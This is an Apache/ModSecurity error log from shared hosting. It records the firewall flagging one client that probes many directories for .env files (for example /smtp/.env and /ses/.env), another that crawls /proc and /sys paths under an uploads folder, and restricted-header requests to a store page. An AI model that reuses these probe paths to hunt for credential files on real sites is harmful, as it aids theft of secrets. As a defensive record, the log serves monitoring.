[Fri Jul 17 09:26:17.409674 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn4VCBpfuYyhJ140vYMAAAAB4"]
[Fri Jul 17 09:26:17.409772 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn4VCBpfuYyhJ140vYMAAAAB4"]
[Fri Jul 17 09:26:17.410536 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn4VCBpfuYyhJ140vYMAAAAB4"]
[Fri Jul 17 09:26:17.426897 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:17.476202 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:17.636600 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:55388] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:17.871147 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:17.970665 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:18.292977 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:18.297935 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:18.298265 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:18.304691 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:20/eject
[Fri Jul 17 09:26:18.316367 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /email/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/email/.env"] [unique_id "almn4oe39YUk0SgV8AU_tQAAABE"]
[Fri Jul 17 09:26:18.316674 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/email/.env"] [unique_id "almn4oe39YUk0SgV8AU_tQAAABE"]
[Fri Jul 17 09:26:18.317162 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/email/.env"] [unique_id "almn4oe39YUk0SgV8AU_tQAAABE"]
[Fri Jul 17 09:26:18.614995 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:18.788651 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:09/physical_node/resource0
[Fri Jul 17 09:26:18.890690 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:18.991912 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:19.093536 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:19.191740 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn4VCBpfuYyhJ140vYMAAAAB4"]
[Fri Jul 17 09:26:19.207230 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:19.216856 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:55596] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:19.574766 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:19.578769 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:19.589093 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /smtp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/smtp/.env"] [unique_id "almn4w5GPQ6hs4VrfMpHswAAAAY"]
[Fri Jul 17 09:26:19.589462 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/smtp/.env"] [unique_id "almn4w5GPQ6hs4VrfMpHswAAAAY"]
[Fri Jul 17 09:26:19.590017 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/smtp/.env"] [unique_id "almn4w5GPQ6hs4VrfMpHswAAAAY"]
[Fri Jul 17 09:26:19.771395 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailing/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/mailing/.env"] [unique_id "almn441dLClkUfK_dfHqbAAAAAI"]
[Fri Jul 17 09:26:19.771683 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/mailing/.env"] [unique_id "almn441dLClkUfK_dfHqbAAAAAI"]
[Fri Jul 17 09:26:19.772066 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/mailing/.env"] [unique_id "almn441dLClkUfK_dfHqbAAAAAI"]
[Fri Jul 17 09:26:19.941922 2026] [security2:error] [pid 2047046:tid 2047046] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /notifications/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/notifications/.env"] [unique_id "almn40_0b3nWp8txtSDCkwAAAA0"]
[Fri Jul 17 09:26:19.942261 2026] [security2:error] [pid 2047046:tid 2047046] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/notifications/.env"] [unique_id "almn40_0b3nWp8txtSDCkwAAAA0"]
[Fri Jul 17 09:26:19.942759 2026] [security2:error] [pid 2047046:tid 2047046] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/notifications/.env"] [unique_id "almn40_0b3nWp8txtSDCkwAAAA0"]
[Fri Jul 17 09:26:20.065021 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:20.066315 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/class/tty/tty27/subsystem/tty41/"] [unique_id "almn5I-0g_VSPeIeFN3F_QAAAAs"]
[Fri Jul 17 09:26:20.066338 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/class/tty/tty27/subsystem/tty41/"] [unique_id "almn5I-0g_VSPeIeFN3F_QAAAAs"]
[Fri Jul 17 09:26:20.116526 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /notify/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/notify/.env"] [unique_id "almn5PwooI4qY7Jg93pa4QAAABM"]
[Fri Jul 17 09:26:20.116809 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/notify/.env"] [unique_id "almn5PwooI4qY7Jg93pa4QAAABM"]
[Fri Jul 17 09:26:20.117221 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/notify/.env"] [unique_id "almn5PwooI4qY7Jg93pa4QAAABM"]
[Fri Jul 17 09:26:20.179871 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:20.428105 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:55766] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:20.501679 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sender/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/sender/.env"] [unique_id "almn5LEKozcCJ-ReuK0IcgAAAAg"]
[Fri Jul 17 09:26:20.502028 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/sender/.env"] [unique_id "almn5LEKozcCJ-ReuK0IcgAAAAg"]
[Fri Jul 17 09:26:20.502473 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/sender/.env"] [unique_id "almn5LEKozcCJ-ReuK0IcgAAAAg"]
[Fri Jul 17 09:26:20.634418 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:20.678980 2026] [security2:error] [pid 2030955:tid 2030955] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn5PwooI4qY7Jg93pa4gAAABM"]
[Fri Jul 17 09:26:20.679110 2026] [security2:error] [pid 2030955:tid 2030955] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn5PwooI4qY7Jg93pa4gAAABM"]
[Fri Jul 17 09:26:20.679784 2026] [security2:error] [pid 2030955:tid 2030955] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn5PwooI4qY7Jg93pa4gAAABM"]
[Fri Jul 17 09:26:20.806678 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/acpi/devices/device:20/eject
[Fri Jul 17 09:26:20.809832 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /campaign/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/campaign/.env"] [unique_id "almn5JBVIrrUwtEhdafWewAAAAU"]
[Fri Jul 17 09:26:20.810031 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/campaign/.env"] [unique_id "almn5JBVIrrUwtEhdafWewAAAAU"]
[Fri Jul 17 09:26:20.810372 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/campaign/.env"] [unique_id "almn5JBVIrrUwtEhdafWewAAAAU"]
[Fri Jul 17 09:26:20.873466 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:21.003437 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /newsletter/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/newsletter/.env"] [unique_id "almn5Y1dLClkUfK_dfHqbwAAAAI"]
[Fri Jul 17 09:26:21.003706 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/newsletter/.env"] [unique_id "almn5Y1dLClkUfK_dfHqbwAAAAI"]
[Fri Jul 17 09:26:21.004062 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/newsletter/.env"] [unique_id "almn5Y1dLClkUfK_dfHqbwAAAAI"]
[Fri Jul 17 09:26:21.061954 2026] [security2:error] [pid 2030955:tid 2030955] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn5PwooI4qY7Jg93pa4gAAABM"]
[Fri Jul 17 09:26:21.171079 2026] [security2:error] [pid 2047046:tid 2047046] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ses/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/ses/.env"] [unique_id "almn5U_0b3nWp8txtSDClgAAAA0"]
[Fri Jul 17 09:26:21.171579 2026] [security2:error] [pid 2047046:tid 2047046] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/ses/.env"] [unique_id "almn5U_0b3nWp8txtSDClgAAAA0"]
